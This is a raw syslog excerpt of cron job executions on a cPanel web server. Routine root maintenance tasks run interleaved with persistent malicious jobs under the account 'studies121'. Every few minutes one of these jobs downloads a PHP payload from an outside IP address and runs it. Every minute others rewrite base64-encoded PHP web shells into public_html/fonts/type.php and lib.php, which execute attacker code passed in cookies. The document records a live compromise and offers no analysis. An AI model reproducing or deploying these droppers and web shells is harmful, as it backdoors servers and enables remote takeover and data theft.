Sep 22 15:20:01 ip-184-168-122-23 CROND[12697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:20:01 ip-184-168-122-23 CROND[12693]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 15:20:01 ip-184-168-122-23 CROND[12695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:20:01 ip-184-168-122-23 CROND[12696]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 15:20:01 ip-184-168-122-23 CROND[12698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:21:01 ip-184-168-122-23 CROND[13464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:21:01 ip-184-168-122-23 CROND[13465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:21:01 ip-184-168-122-23 CROND[13468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:21:01 ip-184-168-122-23 CROND[13472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:22:01 ip-184-168-122-23 CROND[14228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:22:01 ip-184-168-122-23 CROND[14229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:22:01 ip-184-168-122-23 CROND[14231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:22:01 ip-184-168-122-23 CROND[14233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:22:01 ip-184-168-122-23 CROND[14234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:23:01 ip-184-168-122-23 CROND[15009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:23:01 ip-184-168-122-23 CROND[15010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:23:01 ip-184-168-122-23 CROND[15011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:23:01 ip-184-168-122-23 CROND[15013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:24:01 ip-184-168-122-23 CROND[15834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:24:01 ip-184-168-122-23 CROND[15838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:24:01 ip-184-168-122-23 CROND[15839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:24:01 ip-184-168-122-23 CROND[15840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:24:01 ip-184-168-122-23 CROND[15837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:25:01 ip-184-168-122-23 CROND[16492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:25:01 ip-184-168-122-23 CROND[16494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:25:01 ip-184-168-122-23 CROND[16493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:25:01 ip-184-168-122-23 CROND[16500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:25:01 ip-184-168-122-23 CROND[16498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:25:01 ip-184-168-122-23 CROND[16501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:26:02 ip-184-168-122-23 CROND[17243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:26:02 ip-184-168-122-23 CROND[17244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:26:02 ip-184-168-122-23 CROND[17245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:26:02 ip-184-168-122-23 CROND[17248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:26:02 ip-184-168-122-23 CROND[17246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:27:01 ip-184-168-122-23 CROND[17813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:27:01 ip-184-168-122-23 CROND[17814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:27:01 ip-184-168-122-23 CROND[17815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:27:01 ip-184-168-122-23 CROND[17818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:28:01 ip-184-168-122-23 CROND[18374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:28:01 ip-184-168-122-23 CROND[18376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:28:01 ip-184-168-122-23 CROND[18377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:28:01 ip-184-168-122-23 CROND[18380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:28:01 ip-184-168-122-23 CROND[18378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:29:01 ip-184-168-122-23 CROND[18850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:29:01 ip-184-168-122-23 CROND[18852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:29:01 ip-184-168-122-23 CROND[18853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:29:01 ip-184-168-122-23 CROND[18854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:30:01 ip-184-168-122-23 CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:30:01 ip-184-168-122-23 CROND[19077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:30:01 ip-184-168-122-23 CROND[19076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:30:01 ip-184-168-122-23 CROND[19075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:30:01 ip-184-168-122-23 CROND[19080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:30:01 ip-184-168-122-23 CROND[19079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:30:01 ip-184-168-122-23 CROND[19078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:30:01 ip-184-168-122-23 CROND[19081]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 15:31:01 ip-184-168-122-23 CROND[19228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:31:01 ip-184-168-122-23 CROND[19230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:31:01 ip-184-168-122-23 CROND[19231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:31:01 ip-184-168-122-23 CROND[19232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 15:31:01 ip-184-168-122-23 CROND[19233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:32:02 ip-184-168-122-23 CROND[19341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:32:02 ip-184-168-122-23 CROND[19343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:32:02 ip-184-168-122-23 CROND[19344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
